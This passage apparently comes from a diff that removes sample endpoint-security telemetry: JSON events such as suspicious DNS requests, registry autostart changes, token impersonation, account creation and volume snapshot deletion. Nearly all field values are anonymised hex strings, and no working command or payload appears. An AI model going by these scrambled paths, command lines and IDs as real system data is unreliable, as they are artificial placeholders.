</Actions>\r\n</Task>","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"}
-{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
-{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"}
-{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"}
-{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"}
-{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"}
